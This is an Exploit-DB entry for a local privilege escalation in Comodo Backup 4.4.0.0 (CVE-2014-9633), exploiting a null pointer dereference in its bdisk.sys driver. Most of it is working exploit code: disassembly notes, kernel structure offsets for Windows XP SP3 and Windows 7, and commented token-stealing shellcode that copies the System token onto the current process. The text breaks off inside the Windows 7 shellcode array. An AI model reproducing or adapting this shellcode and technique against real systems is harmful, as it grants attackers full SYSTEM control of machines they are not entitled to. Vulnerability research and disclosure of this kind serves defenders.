Exploit-DB #35905
Description: Comodo Backup 4.4.0.0 - Null Pointer Dereference Privilege Escalation
Type: local
Platform: windows
Date: 2015-01-26
Author: Parvez Anwar

Exploit:
/*

Exploit Title    - Comodo Backup Null Pointer Dereference Privilege Escalation
Date             - 23rd January 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - https://www.comodo.com
Tested Version   - 4.4.0.0
Driver Version   - 1.0.0.957 - bdisk.sys
Tested on OS     - 32bit Windows XP SP3 and Windows 7 SP1
OSVDB            - http://www.osvdb.org/show/osvdb/112828
CVE ID           - CVE-2014-9633
Vendor fix url   - http://forums.comodo.com/news-announcements-feedback-cb/comodo-backup-44123-released-t107293.0.html
Fixed version    - 4.4.1.23 
Fixed Driver Ver - 1.0.0.972



Note
----
Does not cleanly exit, had to use some leave instructions to get the command
prompt. If you know of a better way please do let me know.

Below in from Windows XP in IofCallDriver function.

eax = 12h

804e37fe 8b7108          mov     esi,dword ptr [ecx+8]  <- control the null page as ecx = 00000000
804e3801 52              push    edx
804e3802 51              push    ecx
804e3803 ff548638        call    dword ptr [esi+eax*4+38h] ds:0023:00000080=00000090
804e3807 5e              pop     esi
804e3808 c3              ret


esi + eax*4 + 38h = 0 + 48 + 38 = 80h if ESI is null


*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE 4096


typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(
     IN HANDLE ProcessHandle,
     IN OUT PVOID *BaseAddress,
     IN ULONG ZeroBits,
     IN OUT PULONG RegionSize,
     IN ULONG AllocationType,
     IN ULONG Protect);


// Windows XP SP3

#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct

// Windows 7 SP1

#define W7_KPROCESS 0x50      // Offset to _KPROCESS from a _ETHREAD struct
#define W7_TOKEN    0xf8      // Offset to TOKEN from the _EPROCESS struct
#define W7_UPID     0xb4      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W7_APLINKS  0xb8      // Offset to ActiveProcessLinks _EPROCESS struct



BYTE token_steal_xp[] =
{
  0x52,					                   // push edx                       Save edx on the stack
  0x53,					                   // push ebx                       Save ebx on the stack
  0x33,0xc0,				                   // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,		           // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                   // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,				                   // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,		           // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,		           // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,		           // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,    // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,				                   // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,		           // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,          			                   // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,		           // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,   				                   // pop ebx                        Restores ebx
  0x5a,                                                    // pop edx                        Restores edx
  0xc9,                                                    // leave
  0xc9,                                                    // leave
  0xc9,                                                    // leave
  0xc9,                                                    // leave
  0xc3 	                                                   // ret 
};



BYTE token_steal_w7[] =
{
  0x52,					                   // push edx                       Save edx on the stack
  0x53,					                   // push ebx                       Save ebx on the stack
  0x33,0xc0,				                   // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,		           // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,W7_KPROCESS,                                   // mov eax, [eax+W7_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,				                   // mov ecx, eax
  0x8b,0x98,W7_TOKEN,0x00,0x00,0x00,		           // mov ebx, [eax+W7_TOKEN]        Retrieves TOKEN
  0x8b,0x80,W7_APLINKS,0x00,0x00,0x00,		           // mov eax, [eax+W7_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,W7_APLINKS,0x00,0x00,0x00,		           // sub eax, W7_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,    // cmp [eax+W7_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,				                   // jne                     ---- 
  0x8b,0x90,W7_TOKEN,0x00,0x00,0x00,		           // mov edx, [eax+W7_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,          			                   // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,W7_TOKEN,0x00,0x00,0x00,		           // mov [eax+W7_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,   				                   // pop ebx                        Restores ebx
  0x5a,                                                    // pop edx                        Restores edx
  0xc9,                                                    // l